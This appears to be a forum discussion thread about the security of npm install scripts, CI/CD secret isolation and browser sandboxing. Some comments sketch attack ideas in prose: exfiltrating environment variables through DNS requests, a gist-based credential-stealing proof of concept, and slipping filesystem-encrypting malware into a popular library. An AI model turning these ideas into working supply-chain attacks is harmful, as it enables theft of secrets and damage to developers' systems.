How many people are this careful about install scripts, but then allow the installed code to run with just the same permissions as the install script would have run? Is that a meaningful difference? Is it more difficult to audit install scripts than to audit the rest of the code?
I only use npm to install frontend libraries, so the installed code is limited by the browser when it runs.
As far as I know the install scripts can do anything they want, which is upsetting whenever I think about it or they try to do something that annoys the corporate web proxy.
I bet an install script that dumped environment variables, then encoded them into something seemingly innocent like the extra fields of a dns request would gather all kinds of fun info from all the different ci/cd systems.
That doesn't really provide any meaningful reassurance when the code in the browser can still do anything it wants, such as stealing auth tokens, keylogging, etc. It's a different class of vulnerabilities and if you happened to be doing fancy SPA stuff, you could reasonably get a double bonanza by getting into the server environment on the SSR side.
npm scripts having same-as-you access to your computer in a linux-like environment is very different than JS running inside the browser sandbox though. By default its scoped to the origin its running on and with some additional header/html tags, can be further limited to just running your specific code and no get/post to other origins, and more.
So while running 3rd party code without inspecting it closely is always risky, its a lot more risky to run via node than via the browser js engine.
CORS doesn't help with compromised client code, since the CORS headers would allow access anyway.
CSP [1] can help by preventing malicious code to leak data to third parties, but it's far from trivial to close all loopholes. Especially with the myriad of tracking and other third party scripts most sites/apps use.
Install scripts are kinda like make install, with which I had bad experiences. Often there is no command to uninstall again, and even if, can you trust that it works and really uninstalls stuff cleanly? What if there is an error in one half of the execution? Scripts are not a good way to install software. Do everything with declarative schemes if you can. Then have the runtime deal with partial installs/uninstalls etc.
This is less of a security issue and more of a conventions issue. Also, install scripts often run as root instead of the compiling user.
With "make install", I usually just pass a "--prefix=/usr/local/stow/" flag and let GNU stow take care of actual install and uninstall. You may be able to alter the perms on that subdirectory to avoid running as root, although I haven't bothered. I only go to such trouble when it's necessary to use something that hasn't been packaged by OS maintainers. Like make, npm isn't really intended to replace OS package management. npm is for using really "fresh" software. Of course we have to be more careful doing that, so we only do it when the benefits outweigh the costs.
> With "make install", I usually just pass a "--prefix=/usr/local/stow/" flag and let GNU stow take care of actual install and uninstall
I used to do something like that 10 years ago. From what I remember, GNU stow was not really able to do that properly though, because of the way it handles nested un-existing directories. I. E. It will symlinks a whole directory if it does not previously exist, which will make later deployments of new symlinks inside impossible. Also it did not handle absolute symlinks.
For these reasons, I used "xstow".
Edit: just had a look at the latest version of GNU stow, looks like they corrected the folding issue, that's great!
> Like make, npm isn't really intended to replace OS package management. npm is for using really "fresh" software.
I'm not sure what you suggest here. Chrome extensions are heavily sandboxed and thanks to that you can remove them cleanly. Does this mean that Chrome replaces OS package management? Is your intent to say that making npm installation more "dangerous" for users is a good idea as it drives people towards OS package management? What about the large set of software that is not won't ever be packaged for your distro/OS?
I use zpkg[1] for that. I only mention it because I doubt anyone really knows about it. I got to know about it by "accident". There is no README, so I am afraid you have to just listen to the output you get from running it and/or reading the source code. I used GNU stow before, but this one does what I want and not much more.
Actually the installed code may have less permissions and may execute in a different context. For example, an npm js library for a photo gallery may only ever run in the context of the browser. Of course some libraries for server code / build code may run in node js which ostensibly allows for ACE. But the surface area is smaller with this.
Of course you're right in many situations, but in general secrets should not be allowed in build environments. If one doesn't expend the effort to limit permissions in the production environment, however, it's no different.
I've never seen a CI/CD without secrets, how else are you going to access private repos, access some live dependency during e2e testing or deploy the binary to its target?
You isolate the stages which require secrets from the stages that run untrusted code. One step has access to your SSH private key and runs git clone. The next step runs the actual build without access to any secrets. A third step has access to the secret key required to publish the result.
It's certainly more complicated to set up than a simple "the CI system invokes a single shell script that does everything" build, but it's not actually that complicated and every CI system I've used has supported doing this.
I've used multiple that run the build in a sandbox without secrets. One of them didn't even mount in the .git directory, it just propagated some commit info via environment variables. I also like to split the publishing of artifacts from the deployment process to make sure it's repeatable. This also ensures that the CI pipeline doesn't have direct access to production.
A while back I wrote a opt-in tool called npl-lint[1] that would allow some CI-level enforcement of rules in package.json although I didn't go too far with it - one thing was to check the scripts section and allow whitelisted apps, or whitelisted sources for dependencies.
It came about because I ended up having a spat with one of the NPM engineers at the time because they launched npx with the ability to run arbitrary gists[2] and this was before 2FA (FWIW you can still absolutely do this with npx).
I wrote a proof of concept[3] that showed you could, inside a package.json add a command to install another package from a gist location, and then use that to steal credentials, bash history, etc.
I love git open[0] but I was always a bit mystified by how a simple "npm install" command can modify what it needs to in order for "git open" to become a valid command.
It's convenient but, in my opinion, at a cost of "magic" being done to my machine with a "don't worry about it" attitude.
A UX I could get down with would be "npx run git-open" followed by a short CLI that tells me what it's about to do, why, and asks for confirmation.
Git will fallback to `git-$command` for any unknown command. That tool works by installing an executable at `git-open`. It works "magically" with npx because npx is installing it for you.
What bugs me about npm is that many of the problems with npm have already been solved in the majority other open-source distribution systems. npm isn't doing is something new. There's no reason it should be suffering from old problems.
<rant>
IMHO, this is a problem not only with npm but with entire Javascript eco-system.
Every new framework has to re-imagine and re-invent what has been done forever. Not only that, we need to wrap it with new jargon, because otherwise it'll not be the next cool thing (TM).
Regardless of the framework, we finally end up with a declarative format for representing things. But that isn't how it is planned from the beginning. Instead, an entire generation of developers go through one version, and then have to migrate to the next version which breaks everything. So now we have groups of developers defending their decisions.
Considering that most of the frameworks are open source, I don't see a collective approach to designing APIs. Yes, I know about web components, but that isn't going anywhere in the near future.
</rant>
Just knowing the commands and their arguments (environment vars) with make is difficult. Env vars can easily have typos. With just you can actually list out all the commands.
You could use something like `sh -c 'time ...'` to work around that. (You might need bash instead of sh, it might depend on what sh is on your system.)
Right. The scary part is not code you're running can do something bad. Of course it can.
It's that given the depth of the dependency trees, I don't have any confidence we can tell the difference between trustworthy and untrustworthy packages.
When using the node_module/.bin path, can't a malicious package simply declare a binary called "mocha" so it's in the whitelist? Or does the ignore scripts option prevent npm from creating the symlink there?
Also what I'm not sure I understand is: if you are installing a package that you don't want to run as a binary, it's probably that it's a library that you are going to import at some point. At this point, the malicious module will then be able to run arbitrary code with the same right as the current user...
Hi forty, this mitigation is for the install time vulnerability. To answer your question, at install time: no, at runtime: yes, but not always. For instance, if it's a frontend package it will run in a browser. Therefore, it can't create the symlink.
I understand, but this malicious package issue is also a problem when installing on the local dev environment. And the dev is probably going to run some kind of unit tests at some point, which will import the package and run whatever malicious code is there
The only way to know is to forge a malicious script that encrypts the filesystem, slip it into a popular library, and see who complains. Otherwise people will always take half-decisions, only masking the types of attacks they know about. This, or black hats are already using this backdoor silently.
Which makes me wonder: Should dev machines be considered high-risk? They run all sorts of software, with permissions loosened, then pass programs to CI tools, which build them and deploy to prod with AWS authentication tokens enabled... I’m shaking just seeing how many Chrome extensions my devs have (with all permissions enabled of course) when they access prod instances...
Should startup management (Safe environnements with Excel, no Chrome extensions, accessing the company’s bank accounts, etc) be done on separate machines than development activities?
That shouldn't be difficult to PoC. Although, following the tangent, other vectors targeting the js engine could be.
At any rate, do you agree those issues would be unrelated to NPM scripts? I ask because my point is more like: one mitigation at a time. Otherwise, many people would do nothing because it wouldn't solve everything.
Maybe. I'll note that we do npm install in a separate gitlab-ci step as other steps that are running the code (we then share the modules via artifacts). Actually the publishing / deployment are also done in separate steps, so we could make sure that only the deployment step have the credentials (though I'm not sure it's possible with gitlab-ci atm) which would be a much better improvement than preventing npm scripts (which I'm still not convinced do bring more security without further improvements)
Why does npm execute scripts by default if they are not to be trusted?
Why would anyone install some software via npm unless they are confident it isn't malicious?
Why does npm use a single flag for scripts in all contexts and if this thing is a known problem, why don't they add a flag for handling this specifically?
I'm not sure I get this. You can be pretty sure the platform on which your js package is installed has a js runtime. But it might not have shell or make (eg: windows). If you have specific needs and no ambition for being cross-platform ; sure, go ahead and use rc, batch, shell scripts.
And no, just staying with js isn't enough to be cross platform - but you'll be closer.
I don't see why a package would have a backdoor in install, but not run - or not in the package code itself?
It's by far the most popular method of malicious payload execution for these kinds of attacks.
It's easy to write, definitely executed (if not for the settings suggested by the blog posts), doesn't depend on the usage of the library by the victim, and you don't really need to know anything about the setup the victim has.
You are right in that it's not the patch that fixes the entire problem, but that is rarely the case in security.
Source: earlier this year i analysed every package dependency compromise between 2006-2017.
Another possible reason to get rid of npm scripts is performance.
I'm using esbuild (https://esbuild.github.io/) in a monorepo setup currently and the time to build the whole repo (~200ms) is the same as the overhead of running `yarn command`.
Running `yarn esbuild ...` is ~400ms, running `esbuild ...` directly is ~200ms.
Which uses `eval "$@"` and bash functions, which let one pass arguments to your scripts. If you call the script file `run`, you end up with `bash run my-task`.
deno does have slightly more emphasis on security, but JavaScript is not and will never be a security focused language. Everything is mutable, even type definitions.
I think it's possible (and not impossibly hard) to overcome the security shortcomings of the language, but the real problem is persuading the ecosystem (starting with its leaders that design core libraries and infrastructure like npm) that security is something they should care about.
The way javascript ecosystem designs its products affects basically everyone with an internet connection. It's almost like they had a moral responsibility to improve themselves.
npm is full of gotchas as I encountered one recursive bug today. I realize that can put 'npm' as one of the dependency packages in package.json It did not complain, suddenly it downloaded 400+ packages.
How about a typo? malicious actors can benefit from this.